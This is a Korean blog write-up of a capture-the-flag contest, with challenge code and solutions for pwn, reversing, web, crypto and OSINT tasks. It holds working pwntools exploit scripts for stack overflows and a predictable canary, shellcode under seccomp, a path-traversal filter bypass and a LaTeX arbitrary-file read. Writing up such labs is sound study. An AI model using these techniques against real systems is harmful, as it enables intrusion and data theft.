문제가 다양해서 재밌었고 내년에도 하면 좋을 것 같습니다.
PWN
permissions
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <seccomp.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
void setup_seccomp () {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
if (ret) {
errx(1, "seccomp failed");
}
}
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(6);
int fd = open("flag.txt", O_RDONLY);
if (0 > fd)
errx(1, "failed to open flag.txt");
char * flag = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if (flag == MAP_FAILED)
errx(1, "failed to mmap memory");
if (0 > read(fd, flag, 0x1000))
errx(1, "failed to read flag");
close(fd);
// make flag write-only
if (0 > mprotect(flag, 0x1000, PROT_WRITE))
errx(1, "failed to change mmap permissions");
char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED)
errx(1, "failed to mmap shellcode buffer");
printf("> ");
if (0 > read(0, code, 0x100000))
errx(1, "failed to read shellcode");
setup_seccomp();
((void(*)(char *))code)(flag);
exit(0);
}
flag에 쓰기 권한만 부여되어 있다.
따라서 shellcraft를 활용해 셸 코드를 만들어 입력하면 된다.
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = remote('amt.rs', 31174)
# p = process('./chal')
# gdb.attach(p)
pay = shellcraft.write(1, 'rdi', 0x100)
pay = asm(pay)
p.sendlineafter(b'>', pay)
p.interactive()
rntk
(직접 풀지는 못 한 문제)
[IDA Decomplie - main]
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // [rsp+Ch] [rbp-4h] BYREF
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
generate_canary();
while ( 1 )
{
puts("Please select one of the following actions");
puts("1) Generate random number");
puts("2) Try to guess a random number");
puts("3) Exit");
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 == 3 )
break;
if ( v4 <= 3 )
{
if ( v4 == 1 )
{
v3 = rand();
printf("%d\n", v3);
}
else if ( v4 == 2 )
{
random_guess();
}
}
}
exit(0);
}
[IDA Decomplie - random_guess]
int random_guess()
{
char nptr[40]; // [rsp+0h] [rbp-30h] BYREF
int v2; // [rsp+28h] [rbp-8h]
int v3; // [rsp+2Ch] [rbp-4h]
printf("Enter in a number as your guess: ");
v3 = global_canary;
gets(nptr);
v2 = strtol(nptr, 0LL, 10);
if ( v3 != global_canary )
{
puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
exit(1);
}
if ( v2 == rand() )
return puts("Congrats you guessed correctly!");
else
return puts("Better luck next time");
}
**[AIDEN 선생님의 풀이]**
seed를 time으로 하면 파이썬에서 같은 시간대의 time seed를 줘버리면 카나리가 동일해진다고 한다.
c언에서 쓰는 rand랑 동일해야 하기 때문에 ctypes로 glibc rand 끌고 와야 한다고 한다.
from pwn import *
import ctypes
from time import *
sym = ELF('./chal')
libc = ctypes.CDLL('libc.so.6')
#p = process('./chal')
p = remote('amt.rs', 31175)
#gdb.attach(p)
libc.srand(libc.time(0))
canary = libc.rand()
payload = b'A'*44
payload += p32(canary)
payload += p64(0xdeadbeef)
payload += p64(sym.symbols['win'])
p.sendlineafter('random number','2')
p.sendlineafter(':', payload)
p.interactive()
hex-converter
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
setbuf(stderr, NULL);
int i = 0;
char name[16];
printf("input text to convert to hex: \n");
gets(name);
char flag[64];
fgets(flag, 64, fopen("flag.txt", "r"));
// TODO: PRINT FLAG for cool people ... but maybe later
while (i < 16)
{
// the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
printf("%02X", (unsigned int)(name[i] & 0xFF));
i++;
}
printf("\n");
}
다음은 main 함수의 디스어셈블 코드 중 일부이다.
0x00000000004011c7 <+65>: lea rax,[rbp-0x20]
0x00000000004011cb <+69>: mov rdi,rax
0x00000000004011ce <+72>: mov eax,0x0
0x00000000004011d3 <+77>: call 0x401080 <gets@plt>
...
0x00000000004011e7 <+97>: mov rdx,rax
0x00000000004011ea <+100>: lea rax,[rbp-0x60]
0x00000000004011ee <+104>: mov esi,0x40
0x00000000004011f3 <+109>: mov rdi,rax
0x00000000004011f6 <+112>: call 0x401070 <fgets@plt>
...
0x00000000004011fb <+117>: jmp 0x401222 <main+156>
0x00000000004011fd <+119>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401200 <+122>: cdqe
0x0000000000401202 <+124>: movzx eax,BYTE PTR [rbp+rax*1-0x20]
0x0000000000401207 <+129>: movsx eax,al
0x000000000040120a <+132>: movzx eax,al
0x000000000040120d <+135>: mov esi,eax
0x000000000040120f <+137>: mov edi,0x40203a
0x0000000000401214 <+142>: mov eax,0x0
0x0000000000401219 <+147>: call 0x401060 <printf@plt>
0x000000000040121e <+152>: add DWORD PTR [rbp-0x4],0x1
0x0000000000401222 <+156>: cmp DWORD PTR [rbp-0x4],0xf
0x0000000000401226 <+160>: jle 0x4011fd <main+119>
...
name은 rbp-0x20부터 시작하고 flag는 rbp-0x60부터 시작한다
<main+156>을 보면 while 문의 i<16을 판별하는 코드이다.
i는 rbp-0x4에 저장됨을 알 수 있다.
gets 함수에서 BOF가 발생하기 때문에 rbp-0x20부터 마음껏 채울 수 있으며
이는 변수 i의 값을 오버라이트 할 수 있음을 의미한다.
name의 인덱스가 flag를 가리키기 위해선 인덱스는 -64가 되어야 한다.
따라서 i를 -64로 변조시키면 된다.
-64는 0xffffffc0이다.
익스플로잇 코드는 다음과 같다.
from pwn import *
import time
p = process('./chal')
p = remote('amt.rs', 31630)
# gdb.attach(p)
pay = b'a'*0x1c + p64(0xffffffc0)
# sleep(10)
p.sendlineafter('hex:',pay)
# pause()
p.interactive()
실행 결과 나오는 hex 값을 ascii로 바꿔주면 플래그가 나온다.
REV
volcano
[IDA Decomplie - main]
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-C8h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-C0h] BYREF
__int64 v9; // [rsp+18h] [rbp-B8h] BYREF
__int64 v10; // [rsp+20h] [rbp-B0h]
FILE *stream; // [rsp+28h] [rbp-A8h]
char s[136]; // [rsp+30h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+B8h] [rbp-18h]
v13 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Give me a bear: ");
v7 = 0LL;
__isoc99_scanf("%llu", &v7);
if ( !sub_12BB(v7) )
{
puts("That doesn't look like a bear!");
return 1LL;
}
else
{
printf("Give me a volcano: ");
v8 = 0LL;
__isoc99_scanf("%llu", &v8);
if ( !sub_13D9(v8) )
{
puts("That doesn't look like a volcano!");
return 1LL;
}
else
{
printf("Prove to me they are the same: ");
v9 = 0LL;
v10 = 4919LL;
__isoc99_scanf("%llu", &v9);
if ( (v9 & 1) != 0 && v9 != 1 )
{
v4 = sub_1209(v8);
if ( v4 == sub_1209(v7)
&& (v5 = sub_124D(v8), v5 == sub_124D(v7))
&& (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )
{
puts("That looks right to me!");
stream = fopen("flag.txt", "r");
fgets(s, 128, stream);
puts(s);
return 0LL;
}
else
{
puts("Nope that's not right!");
return 1LL;
}
}
else
{
puts("That's not a valid proof!");
return 1LL;
}
}
}
}
[IDA Decomplie - sub_12BB]
_BOOL8 __fastcall sub_12BB(unsigned __int64 a1)
{
if ( (a1 & 1) != 0 )
return 0LL;
if ( a1 % 3 != 2 )
return 0LL;
if ( a1 % 5 != 1 )
return 0LL;
if ( a1 % 7 == 3 )
return a1 % 0x6D == 55;
return 0LL;
}
[IDA Decomplie - sub_13D9]
_BOOL8 __fastcall sub_13D9(unsigned __int64 a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = 0LL;
while ( a1 )
{
v2 += a1 & 1;
a1 >>= 1;
}
return v2 > 0x10 && v2 <= 0x1A;
}
[IDA Decomplie - sub_1209]
__int64 __fastcall sub_1209(unsigned __int64 a1)
{
__int64 v3; // [rsp+10h] [rbp-8h]
v3 = 0LL;
while ( a1 )
{
++v3;
a1 /= 0xAuLL;
}
return v3;
}
[IDA Decomplie - sub_124D]
__int64 __fastcall sub_124D(unsigned __int64 a1)
{
__int64 v3; // [rsp+10h] [rbp-8h]
v3 = 0LL;
while ( a1 )
{
v3 += a1 % 0xA;
a1 /= 0xAuLL;
}
return v3;
}
[IDA Decomplie - sub_1430]
__int64 __fastcall sub_1430(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v5; // [rsp+10h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-8h]
v6 = 1LL;
v5 = a1 % a3;
while ( a2 )
{
if ( (a2 & 1) != 0 )
v6 = v5 * v6 % a3;
a2 >>= 1;
v5 = v5 * v5 % a3;
}
return v6;
}
디스코드에서는 bear와 volcano가 값이 동일해야 한다고 한다.
bear와 volcano가 같지 않으면 조건을 만족해도 답으로 인정해주지 않는다.
[solve.py]
def sub_1209(a1):
v3 = 0
while a1:
v3 += 1
a1 /= 10
return v3
def sub_124D(a1):
v3 = 0
while a1:
v3 += (a1 % 10)
a1 //= 10
return v3
def sub_1430(a1, a2, a3):
sub_v6 = 1
sub_v5 = a1 % a3
while a2:
if (a2 & 1) != 0:
sub_v6 = sub_v5 * sub_v6 % a3
a2 >>= 1
sub_v5 = sub_v5 * sub_v5 % a3
return sub_v6
v7 = 0
v8 = 0
num = 132926
s1209 = 0
s124d = 0
while True:
while True:
if num & 1 != 0:
num += 1
continue
if num % 3 != 2:
num += 1
continue
if num % 5 != 1:
num += 1
continue
if num % 7 != 3:
num += 1
continue
else:
if num % 109 == 55:
s1209 = sub_1209(num)
s124d = sub_124D(num)
v7 = num
print('[bear]',num)
break
else:
num += 1
continue
a1 = num
v2 = 0
while a1:
v2 += a1 & 1
a1 >>= 1
if v2 > 16 and v2 <= 26:
if sub_1209(num) == s1209 and sub_124D(num) == s124d:
v8 = num
print('[volcano]',num)
break
num += 1
num = 0
v10 = 4919
while True:
v9 = num
if (v9 & 1) != 0 and v9 != 1:
v4 = sub_1209(v8)
if v4 == sub_1209(v7):
v5 = sub_124D(v8)
if v5 == sub_124D(v7):
v6 = sub_1430(v10, v8, v9)
if v6 == sub_1430(v10, v7, v9):
print('[answer]', num)
break
num += 1
WEB
waiting-an-eternity
문제 페이지에 들어가면 다음과 같이 나옴
network 탭을 확인해보면 다음과 같음
해당 url로 이동하면 다음과 같음
해당 url에 방문하면 time이라는 세션이 부여되며 새로고침하면 다음과 같이 나옴
-9999999999.. 으로 time의 값을 과거로 돌리면 플래그가 나옴
funny factorials
도커파일을 보면 플래그는 루트 디렉토리에 있다.
FROM python:3.10-slim-buster
RUN pip3 install flask
COPY flag.txt /
WORKDIR /app
COPY app/* /app/
copy app/templates/* /app/templates/
copy app/themes/* /app/themes/
EXPOSE 5000
ENTRYPOINT ["python3", "app.py"]
flask 코드는 다음과 같다.
from flask import Flask, render_template, request
import sys
app = Flask(__name__)
def factorial(n):
if n == 0:
return 1
else:
try:
return n * factorial(n - 1)
except RecursionError:
return 1
def filter_path(path):
# print(path)
path = path.replace("../", "")
try:
return filter_path(path)
except RecursionError:
# remove root / from path if it exists
if path[0] == "/":
path = path[1:]
print(path)
return path
@app.route('/')
def index():
safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
f = open(safe_theme, "r")
theme = f.read()
f.close()
return render_template('index.html', css=theme)
@app.route('/', methods=['POST'])
def calculate_factorial():
safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
f = open(safe_theme, "r")
theme = f.read()
f.close()
try:
num = int(request.form['number'])
if num < 0:
error = "Invalid input: Please enter a non-negative integer."
return render_template('index.html', error=error, css=theme)
result = factorial(num)
return render_template('index.html', result=result, css=theme)
except ValueError:
error = "Invalid input: Please enter a non-negative integer."
return render_template('index.html', error=error, css=theme)
if __name__ == '__main__':
sys.setrecursionlimit(100)
app.run(host='0.0.0.0')
theme에 유저 입력 값(path)이 들어간다.
filter_path로 입력 값을 검사한다.
RecursionError, 즉 재귀 함수의 횟수 제한에 걸리면
맨 앞에 ‘/’ 문자가 있을 때 해당 ‘/’ 문자를 걸러낸 path를 리턴해준다.
따라서, “//flag.txt”를 입력하게 되면 “/flag.txt”가 된다.
latek
LaTeX 온라인 컴파일러를 활용해 /flag.txt 파일을 읽는 문제다.
다음 글에 txt file을 문서에 넣는 법이 나와 있다.
https://tex.stackexchange.com/questions/85200/include-data-from-a-txt-verbatim
\documentclass{article}
\usepackage[dvipsnames]{xcolor}
\usepackage{fancyvrb}
% redefine \VerbatimInput
\RecustomVerbatimCommand{\VerbatimInput}{VerbatimInput}%
{fontsize=\footnotesize,
%
frame=lines, % top and bottom rule only
framesep=2em, % separation between frame and text
rulecolor=\color{Gray},
%
label=\fbox{\color{Black}data.txt},
labelposition=topline,
%
commandchars=\|\(\), % escape character and argument delimiters for
% commands within the verbatim
commentchar=* % comment character
}
\begin{document}
\VerbatimInput{data.txt}
\end{document}
복붙하면 플래그 나옴
CRYPTO
Compact XORs
fleg 라는 바이너리 파일이 주어진다.
파일의 내용은 다음과 같다.
610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944
플래그의 형식인 amateurs와 비교해보면 정상적인 문자와 이상한 문자가 번갈아가면서 나온다.
‘정상 문자 ^ 비정상 문자’ 를 수행하면 정상 문자로 돌아온다.
ex) 0x61 ^ 0x0c ⇒ ‘m’
fleg = '610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944'
calc = False
first = 0
second = 0
for i in range(0,len(fleg)-1,2):
if calc == True:
second = int((fleg[i:i+2]),16)
print(chr(first^second), end='')
calc = False
else:
first = int((fleg[i:i+2]),16)
print(chr(first), end='')
calc = True
OSINT
Gitint 5e
les-amateurs 조직을 찾아 레포에서 플래그를 찾는 문제다.
https://github.com/les-amateurs
more-CTFd-mods 라는 레포에 커밋 항목을 살펴보면 가장 오래된 두 항목에서 플래그가 입력된 흔적을 확인할 수 있다.
sha256으로 바꿔보면 문제에서 제시한 값과 동일하다.
'CTF' 카테고리의 다른 글
vsCTF 2023 (0) | 2023.09.25 |
---|---|
CSAW CTF Qualification Round 2023 (0) | 2023.09.18 |
SECCON CTF 2023 Quals (0) | 2023.09.17 |
BDSec CTF 2023 (0) | 2023.07.22 |
ångstrom CTF 2023 (0) | 2023.05.02 |